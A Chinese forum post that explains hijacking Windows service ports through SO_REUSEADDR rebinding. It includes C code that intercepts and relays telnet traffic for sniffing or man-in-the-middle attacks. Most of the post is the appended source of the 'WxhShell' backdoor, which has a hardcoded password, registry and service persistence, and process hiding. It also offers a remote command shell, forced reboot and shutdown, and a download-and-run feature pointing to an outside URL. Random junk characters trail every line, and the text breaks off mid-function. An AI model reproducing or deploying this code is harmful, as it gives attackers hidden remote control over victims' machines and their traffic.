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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ,e9M%VIu6[  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); :8oJG8WH  
~AYleM  
  saddr.sin_family = AF_INET; (?t}S.>g  
of_y<dd[G  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); *@PM,tS;  
S:}"gwFM  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); mgVYKZWL-i  
6MY<6t0a  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Y2 J-`o$5  
m#8[")a$"  
  这意味着什么?意味着可以进行如下的攻击: vaP`'  
MA:5'n  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Ky%lu^  
9-{=m+|b  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) o.fqJfpj  
h ':ZF  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 lTq"j?#E]m  
!YjxCx  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  7CuZ7!>$  
ZGR5"el!  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 f4Y)GO<R]  
0&]1s  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 D 6 y,Q  
jci,]*X4  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 9>9EZ?4m  
fM"*;LN!N  
  #include ]"{8"+x  
  #include W +ER'lX  
  #include jmk Ou5@  
  #include    dV'EiNpf  
  DWORD WINAPI ClientThread(LPVOID lpParam);   *QiQ,~Ep  
  int main() rfEWh Vy(}  
  { nDC0^&  
  WORD wVersionRequested; Su2{nNC>  
  DWORD ret; -%yrs6  
  WSADATA wsaData; ;50&s .gZ  
  BOOL val; ,n8\y9{G  
  SOCKADDR_IN saddr; sNo8o1Hby  
  SOCKADDR_IN scaddr; i}DS+~8v  
  int err; kc^,V|Nbq6  
  SOCKET s; @pYEzizP7  
  SOCKET sc; iI IXv  
  int caddsize; 'v V7@@  
  HANDLE mt; pCh v;  
  DWORD tid;   Wvr{l  
  wVersionRequested = MAKEWORD( 2, 2 ); s b;q)Rh  
  err = WSAStartup( wVersionRequested, &wsaData ); ?![[la+f  
  if ( err != 0 ) { 0Z8"f_GK  
  printf("error!WSAStartup failed!\n"); E(PBV  
  return -1; 8\lh'8  
  } ciS,  
  saddr.sin_family = AF_INET; =zyA~}M2  
   BtC*]WB"_'  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 'q)g, 2B%  
G7nhUg  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); [ncK+rGAc  
  saddr.sin_port = htons(23); qy3@> 1G  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) rtj`FH??11  
  { \]u;NbC]  
  printf("error!socket failed!\n"); G*@!M%/  
  return -1; _2!8,MX  
  } VWE>w|'  
  val = TRUE; ;[Mvk6^'R  
  //SO_REUSEADDR选项就是可以实现端口重绑定的  L\PmT  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) clB K  
  { ccHf+=  
  printf("error!setsockopt failed!\n"); zOs}v{8"  
  return -1; PVo7Sy!'H  
  } 3O/#^~\'hW  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; l&qnqmW<  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 y'K2#Y~1e  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Z]]Ur  
!,m  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) gQ>kDl^$Ls  
  { HYfGu1j?X  
  ret=GetLastError();  m[B#k$  
  printf("error!bind failed!\n"); @vt.Db  
  return -1; 9RJF  
  } DpT9"?g7  
  listen(s,2); g |>LT_  
  while(1) sCFxn  
  { i3,IEN  
  caddsize = sizeof(scaddr); Mqr_w!8d  
  //接受连接请求 3T2]V?   
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); @b,Az{EH  
  if(sc!=INVALID_SOCKET) 9 %T??-  
  { "=djo+y  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 5G f@n/M"  
  if(mt==NULL) T+<.KvO-  
  { -!j6&  
  printf("Thread Creat Failed!\n"); q<dG}aj  
  break; *5%vU|9b  
  } nF,F#V8l  
  } &<PIm  
  CloseHandle(mt); P]43FPb  
  } V\;Xa0  
  closesocket(s); e7RgA1  
  WSACleanup(); K*>%,mP$i  
  return 0; VVas>/0qr  
  }   5qb93E"C  
  DWORD WINAPI ClientThread(LPVOID lpParam) {]T?)!V m  
  { @Vre)OrN#  
  SOCKET ss = (SOCKET)lpParam; 0<uek  
  SOCKET sc; Ek_5% n  
  unsigned char buf[4096]; hIJtu;}zU  
  SOCKADDR_IN saddr; }5;4'l8  
  long num; >rCD5#DG  
  DWORD val; {o}U"b<+Ra  
  DWORD ret; )L:z r#  
  //如果是隐藏端口应用的话,可以在此处加一些判断 51jgx,-|$  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   d y HC8  
  saddr.sin_family = AF_INET; s@F&N9oh  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ~L)~p%rbi  
  saddr.sin_port = htons(23); ~3F'X  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =-h^j  
  { Y[{:?i~9,  
  printf("error!socket failed!\n"); Ie.*x'b?y  
  return -1; AW]\n;f  
  } D=0YLQ*rP  
  val = 100; SMEl'y  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]`/>hH>+~9  
  { %QezC+n  
  ret = GetLastError(); k]~o=MLmj  
  return -1; } oPO`  
  } qjB:6Jq4q  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) #-0e0  
  { 3p%e_?  
  ret = GetLastError(); oD)]4|  
  return -1; !g@K y$  
  }  LR97FG  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) e4S@ J/D  
  { @Rr=uf G  
  printf("error!socket connect failed!\n"); !5`MiH  
  closesocket(sc); .-d'*$ yJ  
  closesocket(ss); xXe3E&  
  return -1; 1BSd9Ydj  
  } B9maz"lJ  
  while(1) D*M `qPX~  
  { EoAr}fI  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Q{l,4P  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 4t, 2H"M  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 aLa<z Essz  
  num = recv(ss,buf,4096,0); D:z'`v0j  
  if(num>0) 0#*6:{/^  
  send(sc,buf,num,0); OQ-) 4Uk}  
  else if(num==0) !HY^QK  
  break; YuK+ N  
  num = recv(sc,buf,4096,0); [G<ga80  
  if(num>0) "q=Cye  
  send(ss,buf,num,0); (dy(.4W\  
  else if(num==0) Q{[@n  
  break; >q"dLZ  
  } `i.BB jx`  
  closesocket(ss); {VcRur}&Y8  
  closesocket(sc); =zkN63S  
  return 0 ; n' ~ ==2  
  } 7he73  
~gDYb#p  
F.[%0b E  
========================================================== lL D#|T3  
Gv-VDRS  
下边附上一个代码,,WXhSHELL Q:-T' xk@  
scg&"s  
========================================================== i2=- su  
W/Dd7 G#IC  
#include "stdafx.h" L@N %S Sf  
D=e*rrL7a  
#include <stdio.h> z`{sD]  
#include <string.h> `3;EJDEdbi  
#include <windows.h> l6  G6H$  
#include <winsock2.h> D2$ 9$xeR  
#include <winsvc.h> UB$}`39@  
#include <urlmon.h> j-<-!jTd  
] ZV[}7I.  
#pragma comment (lib, "Ws2_32.lib") [`n_> p!  
#pragma comment (lib, "urlmon.lib") =U]9>  
gRLt0&Q~  
#define MAX_USER   100 // 最大客户端连接数 qM\ 2f<)  
#define BUF_SOCK   200 // sock buffer ^^a6 (b  
#define KEY_BUFF   255 // 输入 buffer TRhMxH  
,P eR}E;c  
#define REBOOT     0   // 重启 AdDX_\V,*  
#define SHUTDOWN   1   // 关机 c!EA>:;(<  
tOIqX0dWd  
#define DEF_PORT   5000 // 监听端口 on_h'?2  
 r h*F  
#define REG_LEN     16   // 注册表键长度 Q i18q|l8v  
#define SVC_LEN     80   // NT服务名长度 ] K$YtM^  
f:>y'#P  
// 从dll定义API 69c4bT:b"  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); hb`9Vn\-E  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \|PiQy*_?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); C QkY6  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); V(';2[)  
m Q2i$ 0u  
// wxhshell配置信息 & NYaKu,}  
struct WSCFG { JW>k8QjyN  
  int ws_port;         // 监听端口 B/a gW  
  char ws_passstr[REG_LEN]; // 口令 cY?|RXNmZ  
  int ws_autoins;       // 安装标记, 1=yes 0=no p6DI7<C<H  
  char ws_regname[REG_LEN]; // 注册表键名 |AYii-g  
  char ws_svcname[REG_LEN]; // 服务名 , $7-SN  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 'O<b'}-A  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 q[s,q3n~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \{h_i FU!  
int ws_downexe;       // 下载执行标记, 1=yes 0=no { DYY9MG8  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" S?688  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5CI {&E  
_^iY;&  
}; *!QmYH5r0  
Z(MZbzY7Hq  
// default Wxhshell configuration CFpBosoFt^  
struct WSCFG wscfg={DEF_PORT, j.=:S;  
    "xuhuanlingzhe", ?8~l+m6s$  
    1, 9UM)"I&k  
    "Wxhshell", 6 H|SiO9  
    "Wxhshell", v "l).G?  
            "WxhShell Service", u?,>yf.;s  
    "Wrsky Windows CmdShell Service", ;Q{D]4  
    "Please Input Your Password: ", a\P:jgF  
  1, ,DFN:uf=l  
  "http://www.wrsky.com/wxhshell.exe", J!C \R5\  
  "Wxhshell.exe" @)pC3Vi^  
    }; 9qap#A  
>|3Y+X  
// 消息定义模块 ?!RbS#QV}  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; f^pBXz9&=  
char *msg_ws_prompt="\n\r? for help\n\r#>"; '\bokwsP  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; mERkC,$  
char *msg_ws_ext="\n\rExit."; Cy-p1s  
char *msg_ws_end="\n\rQuit."; )1At/mr  
char *msg_ws_boot="\n\rReboot..."; a6 Vfd&  
char *msg_ws_poff="\n\rShutdown..."; 9PB%v.t5 y  
char *msg_ws_down="\n\rSave to "; 9vRLM*9|  
c.>f,vtcn  
char *msg_ws_err="\n\rErr!"; >Na.C(DZ  
char *msg_ws_ok="\n\rOK!"; \uZpAV)5  
$0V+<  
char ExeFile[MAX_PATH]; Uu7]`Ul  
int nUser = 0; RP~nLh3=\  
HANDLE handles[MAX_USER]; t|U5]$5  
int OsIsNt; u`v&URM  
By1T um+I1  
SERVICE_STATUS       serviceStatus; 6,q0F*q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \&F4Wl>`  
+$C9@CZM9  
// 函数声明 %R GZu\p  
int Install(void); o*K7(yUL4  
int Uninstall(void); CR [>5/:M  
int DownloadFile(char *sURL, SOCKET wsh); DuC#tDP  
int Boot(int flag); K~:SLCv E%  
void HideProc(void); 4)iP%%JH  
int GetOsVer(void); %pVsafV  
int Wxhshell(SOCKET wsl); c/ Pql!h+  
void TalkWithClient(void *cs); []>rYZ9bv  
int CmdShell(SOCKET sock); c/$].VG0  
int StartFromService(void); q^xG%YdPz+  
int StartWxhshell(LPSTR lpCmdLine); "M/c0`>C!i  
';R]`vWFe  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); QGN+f)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 2TGND-(j  
-;cF)C--12  
// 数据结构和表定义 0MRWx%CR  
SERVICE_TABLE_ENTRY DispatchTable[] = vjX,7NY?  
{ P5my]4|x  
{wscfg.ws_svcname, NTServiceMain}, "G%S m")  
{NULL, NULL} ,$`} Rf<  
}; t?9J'.p  
%U{6 `m  
// 自我安装 +2MF#{ tS  
int Install(void) EMnz;/dMt  
{ dNR /|  
  char svExeFile[MAX_PATH]; G@P;#l`(D  
  HKEY key; (1x8DVXNN  
  strcpy(svExeFile,ExeFile); j&Hui>~  
}[leUYi`  
// 如果是win9x系统,修改注册表设为自启动 {XU!p: x  
if(!OsIsNt) { l2;$qNAo  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k (AE%eA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); N[eL Qe]q  
  RegCloseKey(key); k -G9'c~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )2c]Z|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /)[-5n{  
  RegCloseKey(key); Z"c-Ly{vEj  
  return 0; P[fy  
    } |mMsU,*gB  
  } bIm4s  
} 4L>8RiiQE;  
else { e!J5h <:  
>r`O@`^U  
// 如果是NT以上系统,安装为系统服务 2#NnA3l]x%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); T[4xt,[a  
if (schSCManager!=0) (A=PDjP!  
{ EY]H*WJJ  
  SC_HANDLE schService = CreateService *  1}dk`-  
  ( =x+1A)Q  
  schSCManager, YC;@^  
  wscfg.ws_svcname, d>u^ 7:  
  wscfg.ws_svcdisp, & &CrF~  
  SERVICE_ALL_ACCESS, _wXT9`|3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }V ]*FCpQ  
  SERVICE_AUTO_START, L4^/O29  
  SERVICE_ERROR_NORMAL, i\lvxbp  
  svExeFile, ~ 6=6YP  
  NULL, !{ *yWpZ:  
  NULL, 8^EWD3N`  
  NULL, Lu^uY7 ?}  
  NULL, 0`zdj  
  NULL oi`L ;w|]  
  ); ,R=!ts[qi  
  if (schService!=0) -W6@[5c  
  { sDs.da#*2  
  CloseServiceHandle(schService); >3&  
  CloseServiceHandle(schSCManager); +6>2= ,?Z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); r1F5'?NZ(0  
  strcat(svExeFile,wscfg.ws_svcname); G\tN(%.f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Pz*BuL <  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >!Gq[i0  
  RegCloseKey(key); : F3UJ[V  
  return 0; kYCm5g3u  
    } L [PqEN\i  
  } CnuM=S:  
  CloseServiceHandle(schSCManager); M#Z^8(  
} E 1`g8Hk'  
} H.M: cD:  
xY)eU;*  
return 1; pS-o*!\C.  
} r;b`@ .  
Y->sJm  
// 自我卸载 gna!Q  
int Uninstall(void) q=e;P;u  
{ <zY#qFQ2  
  HKEY key; V|A.M-XLv4  
8m H6?,@6  
if(!OsIsNt) { +Y*4/w[   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c|:EMYS  
  RegDeleteValue(key,wscfg.ws_regname); aNM*=y`  
  RegCloseKey(key); y}FG5'5$13  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xN$V(ZX4  
  RegDeleteValue(key,wscfg.ws_regname); fFVQu\  
  RegCloseKey(key); /Gnt.%y&  
  return 0; {{gd}g  
  } K8KN<Q s]  
} E9k%:&]vd  
} |:SV=T:  
else { )/f#~$ws  
>=rniHs=?7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); iuqJPW^}  
if (schSCManager!=0) >r)UDa+  
{ _s-X5 xU  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ZwxEcs+UM  
  if (schService!=0) OWz{WV.  
  { R4)l4rnO  
  if(DeleteService(schService)!=0) { 6`7`herE}  
  CloseServiceHandle(schService); _ \+0e:Ae  
  CloseServiceHandle(schSCManager); CBdr 1  
  return 0; K~]Xx~F  
  } orWF>o=1  
  CloseServiceHandle(schService); 5Th\wTh04  
  } \3(s&K\Y6\  
  CloseServiceHandle(schSCManager); V@LBy1z  
} 08@4u L  
} .rg "(I  
O>f*D+A-  
return 1; rv)Eg53Q  
} \{rhHb\|h  
W@GU;Nr  
// 从指定url下载文件 .0>bnw  
int DownloadFile(char *sURL, SOCKET wsh) =|O]X|y-lZ  
{ s(5(zcBK  
  HRESULT hr; ?N+pWdi  
char seps[]= "/"; b+RU <qR  
char *token;  eJ[+3Wh  
char *file; X`Lv}6}xT  
char myURL[MAX_PATH]; 4`5W] J]6  
char myFILE[MAX_PATH]; uFuH/(}K[  
mGwJ>'+d  
strcpy(myURL,sURL); R/B/|x  
  token=strtok(myURL,seps); C<QpUJ`k  
  while(token!=NULL) 7!o#pt7  
  { 1A(f_ 0,.Q  
    file=token; }>f%8O}  
  token=strtok(NULL,seps); (.z0.0W  
  } wko9tdC=U  
|J-tU)|1vl  
GetCurrentDirectory(MAX_PATH,myFILE); B}y#AVSA  
strcat(myFILE, "\\"); ]We0 RD"+  
strcat(myFILE, file); t ~]' {[F  
  send(wsh,myFILE,strlen(myFILE),0); d]_].D$  
send(wsh,"...",3,0); tT A  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !oRN,m[7)p  
  if(hr==S_OK) Pr1OQbg]8  
return 0; cjLA7I.O  
else \ z*<^ONq  
return 1; 0jXDjk5'<  
1_xkGc-z<  
} 4 q % Gc  
u3 +]3!BQ  
// 系统电源模块 , P1m#  
int Boot(int flag) J| 46i  
{ 2c,w 4rK  
  HANDLE hToken; Q^Vch(`&P  
  TOKEN_PRIVILEGES tkp; `Lw Z(M-hI  
%0u5d$bq  
  if(OsIsNt) { bLg gh]Fh  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Mu" vj*F  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); X)TZ  S  
    tkp.PrivilegeCount = 1; 8BY`~TZO$q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /K,@{__JP  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2:[<E2z  
if(flag==REBOOT) { ,ueA'GZ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :-2sKD y  
  return 0; k9y/.Mu  
} O"[#g  
else { 1 j|XC  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  Cb|R  
  return 0; !*wd d8   
} ZTGsZ}{5   
  } N>j*{]OY+{  
  else { <qoPBm])  
if(flag==REBOOT) { c!$~_?]  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1JGww]JZo  
  return 0; {v3@g[:|  
} MzW!iG  
else { ~vZ1.y4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) TYxi &;w  
  return 0; Pl|*+g  
} cnDBT3$~Z  
} naY#`xig  
nrTCq~LO(  
return 1; 2Y}A9Veb  
} esv<b>`R  
`1 Tg8  
// win9x进程隐藏模块 }V+&o\4  
void HideProc(void) ,+5 !1>\  
{ (elkk#  
@<S'f<>g  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %CrpUx  
  if ( hKernel != NULL ) 61b<6 r0o  
  { 'Te'wh=Y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |L)qH"Eo  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); DY87NS*HF  
    FreeLibrary(hKernel); HM\}C.u  
  } [}l 1`>  
?zXlLud8  
return; .6i +_B|  
} ${U H!n{  
k~1{|HxrE  
// 获取操作系统版本 )B^T7{  
int GetOsVer(void) K!G/iz9SB  
{ Kku@!lv  
  OSVERSIONINFO winfo; wD<W'K   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %(1y  
  GetVersionEx(&winfo); oFu( J  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ub{Yg5{3S\  
  return 1; _lOyT$DN  
  else T,4REbm^  
  return 0; P9#}aw+  
} < $rXQ  
J\ ?  
// 客户端句柄模块 B{Lzgw u;  
int Wxhshell(SOCKET wsl) pmDFmES  
{ o PA m*  
  SOCKET wsh; s.!gsCQme  
  struct sockaddr_in client; VC NQ}h[D  
  DWORD myID; @%As>X<3t  
,xC@@>f  
  while(nUser<MAX_USER) =NL(L  
{ 3{- 8n/4 k  
  int nSize=sizeof(client);  9\R+g5  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); v$|cF'yyF=  
  if(wsh==INVALID_SOCKET) return 1; F)tcQO"G  
5lm>~J!/^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); qP[jtRIN  
if(handles[nUser]==0) z`y^o*qc]  
  closesocket(wsh); yLvU@V@~  
else Z1+1>|-iW  
  nUser++; S? (/~Vb%  
  } vQ DlS1L  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); TP)}1 @  
safI`b w1  
  return 0; flU?6\_UC  
} wb-_CQ  
Cy\! H&0wg  
// 关闭 socket 1&YkRCn0  
void CloseIt(SOCKET wsh) pU@ &-  
{ $C&E3 'O  
closesocket(wsh); SfwNNX%  
nUser--; V)Y#m/$`  
ExitThread(0); )m(?U  
} R-Z)0S'ZR  
{cAGOxwd  
// 客户端请求句柄 8<X; 8R  
void TalkWithClient(void *cs) b,RQ" {  
{ P?YcZAJT*  
kCU (Hi`Q  
  SOCKET wsh=(SOCKET)cs; :.f m LL  
  char pwd[SVC_LEN]; xAAwH@ +  
  char cmd[KEY_BUFF]; USyOHHPW@  
char chr[1]; .|3&lb6  
int i,j;  r(c8P6_  
Wc{/K6]f  
  while (nUser < MAX_USER) { H<wkD9v}H5  
sxU 0Fg   
if(wscfg.ws_passstr) { XXPpj< c  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V3> JZH`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4#w Z#}  
  //ZeroMemory(pwd,KEY_BUFF); #?RT$L>n  
      i=0; ABnJ{$=n#  
  while(i<SVC_LEN) { %pImCpMR  
6n$g73u<=3  
  // 设置超时 :^992]EBEj  
  fd_set FdRead; GA"zO,  
  struct timeval TimeOut;  F]KAnEf  
  FD_ZERO(&FdRead); xU;;@9X  
  FD_SET(wsh,&FdRead); 7,EdJ[CR$  
  TimeOut.tv_sec=8; Ya-kM UW  
  TimeOut.tv_usec=0; D1 f}g  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); w|8T6W|w  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); jB%aHUF;  
- 1tiy.^$F  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xr1,D5  
  pwd=chr[0]; TKZ[H$Z  
  if(chr[0]==0xd || chr[0]==0xa) { W(,3j{d2i  
  pwd=0; _T.k/a  
  break; 5}"9)LT@@w  
  } EHX/XM  
  i++; }w/6"MJ[n  
    } 4,qhWe`/  
jq12,R2+)  
  // 如果是非法用户,关闭 socket ~-o[v-\  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 78/,rp#'_  
} 0}I aWd^4  
^ah9:}Ll  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); xh9Os <  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q!\4|KF~  
bGe@yXId5  
while(1) { aLt2fB1)  
4 oZm0  
  ZeroMemory(cmd,KEY_BUFF); MI\35~JAN  
'yR)z\)  
      // 自动支持客户端 telnet标准   BDz 7$k]  
  j=0; x3Ze\N8w  
  while(j<KEY_BUFF) { BXB ZX@jVk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7Nt6}${=z  
  cmd[j]=chr[0]; [e;c)XS[  
  if(chr[0]==0xa || chr[0]==0xd) { /K\]zPq  
  cmd[j]=0; 0 pPSg9  
  break; nb}rfd.  
  } Y2Y)|<FH  
  j++; b]k9c1x  
    } HGlQZwf  
~l"]J'jF"H  
  // 下载文件 bn6WvC 3?  
  if(strstr(cmd,"http://")) { <3C/t|s  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); I::|d,bR!  
  if(DownloadFile(cmd,wsh)) ]YWz;Z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Dg o -Os@  
  else TNkvdE-S  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F;sZc,Y,^  
  } 1j?+rs+o-  
  else { _|I`A6`=  
 jWqjGX`  
    switch(cmd[0]) { VHqHG`}:  
  /Xk-xg+U  
  // 帮助 jcL%_of  
  case '?': { +Fa!<txn  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^c|_%/  
    break; &r)[6a$fW  
  } Yh2[ nF_  
  // 安装 G[$g-NU+  
  case 'i': { v,^W& W.  
    if(Install()) |Q?^Ba  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XDohfa _  
    else }ej>uZVe<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &hu>yH>j  
    break; ;{89*e*)  
    } F_F02:t  
  // 卸载 ! 8*l U2  
  case 'r': { ]I'dnd3e  
    if(Uninstall()) FS^~e-A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cK.z&y0]  
    else 85?;\ 5%-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7m:ZG  
    break; (NC]S  
    } E.eUd4XG  
  // 显示 wxhshell 所在路径 _9:r4|S  
  case 'p': { cPy/}A  
    char svExeFile[MAX_PATH]; "."ow|  
    strcpy(svExeFile,"\n\r"); |wINb~trz  
      strcat(svExeFile,ExeFile); qV7 9bK  
        send(wsh,svExeFile,strlen(svExeFile),0); }\0ei(%H  
    break; g+A>Bl3#  
    } WT63ve  
  // 重启 a(uZ}yS$  
  case 'b': { 5yk#(i 7C  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); zd|n!3;  
    if(Boot(REBOOT)) ]p!)8[<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QTC!vKM  
    else { %z~=Jz^  
    closesocket(wsh); ,0a\Ka {^  
    ExitThread(0); ( 4(,"  
    } |p.|zH  
    break; JIPBJ  
    } qWM+!f  
  // 关机 5Mz:$5Tm  
  case 'd': { 1]69S(  
